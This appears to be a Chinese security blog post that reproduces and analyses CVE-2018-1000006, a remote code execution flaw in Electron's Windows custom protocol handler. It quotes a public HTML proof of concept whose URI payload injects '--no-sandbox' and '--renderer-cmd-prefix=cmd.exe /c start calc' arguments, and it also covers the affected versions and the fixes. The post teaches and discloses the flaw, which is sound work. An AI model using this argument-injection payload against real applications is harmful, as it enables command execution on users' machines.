CVE-2018-1000006:Electron遠程代碼執行漏洞復現與初步分析
0x00 前言
Electron是一個基於Chromium和Node.js,使用JavaScript、HTML和CSS構建跨平台桌面應用的開源框架。近年來應用愈加廣泛,像Slack、Skype、XXX音樂、Github的Atom、Microsoft的VS Code均採用該框架開發。
第一次接觸Electron是分析Atom前段時間的一個遠程代碼執行漏洞(可以參考這篇:From Markdown to RCE in Atom),對Electron有了大概的印象。
下午的時候在冰總的群里看到有幾位大佬在討論Electron爆了遠程代碼執行漏洞(CVE-2018-1000006),由於我比較菜,便想著跟著分析下,學習一發。
第一次跟Electron正面剛,行文如有謬誤,還請各位師傅們指正。
0x01 基礎環境
Microsoft Windows 7 專業版
node v8.9.4
npm 5.6.0
Electron 1.7.10(存在漏洞的版本)
0x02 漏洞分析
根據官方描述,該遠程代碼執行漏洞被分配編號為:CVE-2018-1000006,Windows操作系統下,使用應用自定義協議(Custom URI Scheme)Handler的Electron應用均會受到該漏洞的影響。
漏洞環境搭建
先把環境搭建出來,將存在漏洞的Electron 1.7.10壓縮包下載至本地,雙擊electron.exe運行。(實現環境下直接將寫的代碼用滑鼠拖至Electron窗體里即可運行。)
確認項目沒有問題後,即可進行後續的漏洞分析工作。
PoC的構造
通過漏洞公告可以知道,漏洞存在於app.setAsDefaultProtocolClient()方法。
昨天捅咕了半天,沒啥進展,今天先知上有大佬發了分析文章(Electron < v1.8.2-beta.4 遠程命令執行漏洞-【CVE-2018-1000006】),學習一發,PoC採用原作者提供的。
將存在漏洞的項目拖至electron.exe窗體中即可運行。
PoC(from CHYbeta/CVE-2018-1000006-DEMO):
<html><head> POC for CVE-2018-1000006</head><body> <a class="protocol" href=chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a></body></html>
點擊超鏈接,則會觸發這個RCE,實現命令執行。
原理淺析
由官方的漏洞公告可知,該漏洞存在位置app.setAsDefaultProtocolClient(),在倉庫中全局搜索SetAsDefaultProtocolClient(electron/electron),由於該漏洞僅影響Windows系統,則關注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),該函數的主要的功能是實現註冊表鍵值的註冊。
bool Browser::SetAsDefaultProtocolClient(const std::string& protocol, mate::Arguments* args) { // HKEY_CLASSES_ROOT // $PROTOCOL // (Default) = "URL:$NAME" // URL Protocol = "" // shell // open // command // (Default) = "$COMMAND" "%1" // // However, the "HKEY_CLASSES_ROOT" key can only be written by the // Administrator user. So, we instead write to "HKEY_CURRENT_USER // SoftwareClasses", which is inherited by "HKEY_CLASSES_ROOT" // anyway, and can be written by unprivileged users. if (protocol.empty()) return false; base::string16 exe; if (!GetProtocolLaunchPath(args, &exe)) return false; // Main Registry Key HKEY root = HKEY_CURRENT_USER; base::string16 keyPath = base::UTF8ToUTF16("Software\Classes" + protocol); base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol); // Command Key base::string16 cmdPath = keyPath + L"\shell\open\command"; // Write information to registry base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS); if (FAILED(key.WriteValue(L"URL Protocol", L"")) || FAILED(key.WriteValue(L"", urlDecl.c_str()))) return false; base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS); if (FAILED(commandKey.WriteValue(L"", exe.c_str()))) return false; return true;}
通過運行regedit打開註冊表編輯器可以看到
運行PoC,點擊構造好的超鏈接(payload),註冊表中的%1則會替換為payload,
chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
payload中的雙引號閉合掉前面的雙引號,最後形成如下所示命令
elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
通過第3個參數帶入Chromium實現命令執行:--renderer-cmd-prefix=cmd.exe /c start calc
縷一下攻擊場景和完整的利用思路:
0、程序開發時調用了存在漏洞的函數,實現用戶自定義協議的註冊,拿我這個來說註冊了test協議,那當用戶訪問test協議下的資源時,就會啟動該程序訪問(test://xxx)
app.setAsDefaultProtocolClient(test)
1、程序啟動時會在註冊表中註冊鍵值(%1是佔位符,用於接收用戶輸入的參數)
"E:elec_rce.exe" "%1"
2、執行PoC時,通過剛剛程序註冊的test://自定義協議觸發
test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
3、payload帶入佔位符%1,同時閉合雙引號,通過後續的參數--renderer-cmd-prefix,傳遞至Chromium,實現命令執行
0x03 影響範圍
Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本
0x04 修復建議
官方提供 2 兩種修復方法:
1、升級至 1.8.2-beta.4、1.7.11、1.6.16 版本
2、不升級的話,可以在調用app.setAsDefaultProtocolClient()函數時,增加--參數(代表命令行選項的結束,類似注釋?),避免Chromium解析更多的選項
app.setAsDefaultProtocolClient(protocol, process.execPath, [ --your-switches-here, --])
0x05 後記
大佬們還是強啊,各種MSDN、chromium文檔,學習了。
人的命運要靠自我奮鬥,但也要考慮歷史的進程,希望身邊的每一個大佬都越來越好,希望有一天我也可以成為我想成為的人。
0x06 參考鏈接
Registering an Application to a URI Scheme
http://sh3ll.me/archives/201801251535.txt
Electron < v1.8.2-beta.4 遠程命令執行漏洞-【CVE-2018-1000006】
electron/electron
https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
Electron | Build cross platform desktop apps with JavaScript, HTML, and CSS.
Protocol Handler Vulnerability Fix | Electron Blog
app | Electron
CVE - CVE-2018-1000006
Disallow launching unknown apps via browser client. · electron/electron@c49cb29
推薦閱讀:
※系統提權總結
※怎麼成為一個合格的滲透測試人員?
※安全開發:說一說Python的作用域與名稱空間
※xss漏洞原理分析與挖掘方法